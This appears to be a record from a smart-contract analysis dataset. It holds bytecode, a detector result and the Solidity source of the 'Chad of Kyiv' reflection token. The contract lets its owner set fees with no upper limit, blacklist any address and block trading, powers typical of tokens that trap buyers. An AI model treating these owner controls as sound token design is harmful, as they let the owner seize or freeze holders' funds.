4811015156103a557fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1688888154811015156103d857fe5b90600052602060002090601091828204019190066002025b6101000a81548161ffff021916908361ffff1602179055508088600081548110151561041857fe5b90600052602060002090601091828204019190066002025b6101000a81548161ffff021916908361ffff1602179055506001870396506000945061045c6000611079565b93505b86841161067757836001019250849150878481548110151561047d57fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff1688838154811015156104b457fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff1610156104e7578391505b8683111580156105625750878381548110151561050057fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff16888381548110151561053757fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff16105b1561056b578291505b8482141561057e57866001019350610672565b878281548110151561058c57fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff16905087858154811015156105c157fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1688838154811015156105f457fe5b90600052602060002090601091828204019190066002025b6101000a81548161ffff021916908361ffff16021790555080888681548110151561063357fe5b90600052602060002090601091828204019190066002025b6101000a81548161ffff021916908361ffff16021790555081945061066f85611079565b93505b61045f565b610357565b5b5050505050505050565b6000808260605260005b835481101561094657601081046020606020015491506010810660018114610728576002811461074b576003811461076e576004811461079157600581146107b457600681146107d757600781146107fa576008811461081d576009811461084057600a811461086357600b811461088657600c81146108a957600d81146108cc57600e81146108ef57600f811461091257610931565b60005b60018110156107455762010000840493505b60010161072b565b50610931565b60005b60028110156107455762010000840493505b60010161074e565b50610931565b60005b60038110156107455762010000840493505b600101610771565b50610931565b60005b60048110156107455762010000840493505b600101610794565b50610931565b60005b60058110156107455762010000840493505b6001016107b7565b50610931565b60005b60068110156107455762010000840493505b6001016107da565b50610931565b60005b60078110156107455762010000840493505b6001016107fd565b50610931565b60005b60088110156107455762010000840493505b600101610820565b50610931565b60005b60098110156107455762010000840493505b600101610843565b50610931565b60005b600a8110156107455762010000840493505b600101610866565b50610931565b60005b600b8110156107455762010000840493505b600101610889565b50610931565b60005b600c8110156107455762010000840493505b6001016108ac565b50610931565b60005b600d8110156107455762010000840493505b6001016108cf565b50610931565b60005b600e8110156107455762010000840493505b6001016108f2565b50610931565b60005b600f81101561092f5762010000840493505b600101610915565b505b5061ffff90911691820191905b600101610691565b505b50919050565b6000806000806000808615610a30578854600019019350600092508291505b838211610a2b5760028285015b0492508761ffff16898481548110151561099057fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff1614156109d15760019550829450836001019150610a25565b8761ffff1689848154811015156109e457fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff161015610a1e57826001019150610a25565b6001830393505b5b61096d565b610a92565b5060005b8854811015610a92578761ffff168982815481101515610a5057fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff161415610a89578854600196509094505b5b600101610a34565b5b5b50505050935093915050565b6060819052600080805b835481101561094657601081046020606020015491506010810660018114610b415760028114610b645760038114610b875760048114610baa5760058114610bcd5760068114610bf05760078114610c135760088114610c365760098114610c5957600a8114610c7c57600b8114610c9f57600c8114610cc257600d8114610ce557600e8114610d0857600f8114610d2b57610d4a565b60005b6001811015610b5e5762010000840493505b600101610b44565b50610d4a565b60005b6002811015610b5e5762010000840493505b600101610b67565b50610d4a565b60005b6003811015610b5e5762010000840493505b600101610b8a565b50610d4a565b60005b6004811015610b5e5762010000840493505b600101610bad565b50610d4a565b60005b6005811015610b5e5762010000840493505b600101610bd0565b50610d4a565b60005b6006811015610b5e5762010000840493505b600101610bf3565b50610d4a565b60005b6007811015610b5e5762010000840493505b600101610c16565b50610d4a565b60005b6008811015610b5e5762010000840493505b600101610c39565b50610d4a565b60005b6009811015610b5e5762010000840493505b600101610c5c565b50610d4a565b60005b600a811015610b5e5762010000840493505b600101610c7f565b50610d4a565b60005b600b811015610b5e5762010000840493505b600101610ca2565b50610d4a565b60005b600c811015610b5e5762010000840493505b600101610cc5565b50610d4a565b60005b600d811015610b5e5762010000840493505b600101610ce8565b50610d4a565b60005b600e811015610b5e5762010000840493505b600101610d0b565b50610d4a565b60005b600f811015610d485762010000840493505b600101610d2e565b505b508161ffff16915081831060018114610d6257610d66565b8293505b505b600101610aaa565b505b50919050565b6000808260605260005b835481101561094657601081046020606020015491506010810660018114610e195760028114610e3c5760038114610e5f5760048114610e825760058114610ea55760068114610ec85760078114610eeb5760088114610f0e5760098114610f3157600a8114610f5457600b8114610f7757600c8114610f9a57600d8114610fbd57600e8114610fe057600f811461100357611022565b60005b6001811015610e365762010000840493505b600101610e1c565b50611022565b60005b6002811015610e365762010000840493505b600101610e3f565b50611022565b60005b6003811015610e365762010000840493505b600101610e62565b50611022565b60005b6004811015610e365762010000840493505b600101610e85565b50611022565b60005b6005811015610e365762010000840493505b600101610ea8565b50611022565b60005b6006811015610e365762010000840493505b600101610ecb565b50611022565b60005b6007811015610e365762010000840493505b600101610eee565b50611022565b60005b6008811015610e365762010000840493505b600101610f11565b50611022565b60005b6009811015610e365762010000840493505b600101610f34565b50611022565b60005b600a811015610e365762010000840493505b600101610f57565b50611022565b60005b600b811015610e365762010000840493505b600101610f7a565b50611022565b60005b600c811015610e365762010000840493505b600101610f9d565b50611022565b60005b600d811015610e365762010000840493505b600101610fc0565b50611022565b60005b600e811015610e365762010000840493505b600101610fe3565b50611022565b60005b600f8110156110205762010000840493505b600101611006565b505b5061ffff909116908015600181146110395761103d565b8293505b508183116001811461104e57611052565b8293505b505b600101610d82565b505b50919050565b600060001982016002815b0491505b50919050565b6002810260018101905b509190505600a165627a7a72305820c8ca2b7e444c81d16d062b9bdf2229f4c24c2008a295f855b6df1663d548d62f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,706 |
0x2b8026d531ff7e668f9d1bcb7c3b5f8b4e2f7ada
|
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/**
*/
/*
//
// Telegram: https://t.me/ChadofKyiv
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ChadofKyiv is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Chad of Kyiv";
string private constant _symbol = "Chad of Kyiv";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xB534723f164170Be9c0Eab66f69d8Fb352131018);
address payable private _marketingAddress = payable(0xB534723f164170Be9c0Eab66f69d8Fb352131018);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 750000000000 * 10**9; //0.75
uint256 public _maxWalletSize = 1000000000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612cd6565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c919061311f565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612c9a565b61086d565b60405161025991906130e9565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190613104565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af9190613301565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612c0f565b6108c3565b6040516102ec91906130e9565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612c5e565b61099c565b005b34801561032a57600080fd5b50610333610b1f565b6040516103409190613301565b60405180910390f35b34801561035557600080fd5b5061035e610b25565b60405161036b9190613376565b60405180910390f35b34801561038057600080fd5b50610389610b2e565b60405161039691906130ce565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612b81565b610b54565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612d17565b610c44565b005b3480156103fd57600080fd5b50610406610cf5565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612b81565b610dc6565b60405161043c9190613301565b60405180910390f35b34801561045157600080fd5b5061045a610e17565b005b34801561046857600080fd5b50610483600480360381019061047e9190612d40565b610f6a565b005b34801561049157600080fd5b5061049a611009565b6040516104a79190613301565b60405180910390f35b3480156104bc57600080fd5b506104c561100f565b6040516104d291906130ce565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612d17565b611038565b005b34801561051057600080fd5b506105196110ea565b6040516105269190613301565b60405180910390f35b34801561053b57600080fd5b506105446110f0565b604051610551919061311f565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612d40565b61112d565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612d69565b6111cc565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612c9a565b611283565b6040516105e091906130e9565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612b81565b6112a1565b60405161061d91906130e9565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612b81565b6112c1565b60405161065a91906130e9565b60405180910390f35b34801561066f57600080fd5b506106786112e1565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612bd3565b6113ba565b6040516106ae9190613301565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612d40565b611441565b005b6106e86114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613261565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108249061363b565b915050610778565b5050565b60606040518060400160405280600c81526020017f43686164206f66204b7969760000000000000000000000000000000000000000815250905090565b600061088161087a6114e0565b84846114e8565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108d08484846116b3565b610991846108dc6114e0565b61098c85604051806060016040528060288152602001613b2260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109426114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea39092919063ffffffff16565b6114e8565b600190509392505050565b6109a46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890613261565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb90613221565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090613261565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090613261565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d366114e0565b73ffffffffffffffffffffffffffffffffffffffff161480610dac5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d946114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b610db557600080fd5b6000479050610dc381611f07565b50565b6000610e10600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612002565b9050919050565b610e1f6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613261565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f726114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff690613261565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110406114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490613261565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600c81526020017f43686164206f66204b7969760000000000000000000000000000000000000000815250905090565b6111356114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990613261565b60405180910390fd5b8060198190555050565b6111d46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125890613261565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112976112906114e0565b84846116b3565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113226114e0565b73ffffffffffffffffffffffffffffffffffffffff1614806113985750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113806114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b6113a157600080fd5b60006113ac30610dc6565b90506113b781612070565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114496114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cd90613261565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f906132e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf906131c1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a69190613301565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906132a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90613141565b60405180910390fd5b600081116117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613281565b60405180910390fd5b6117de61100f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561184c575061181c61100f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ba257601660149054906101000a900460ff166118f257601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101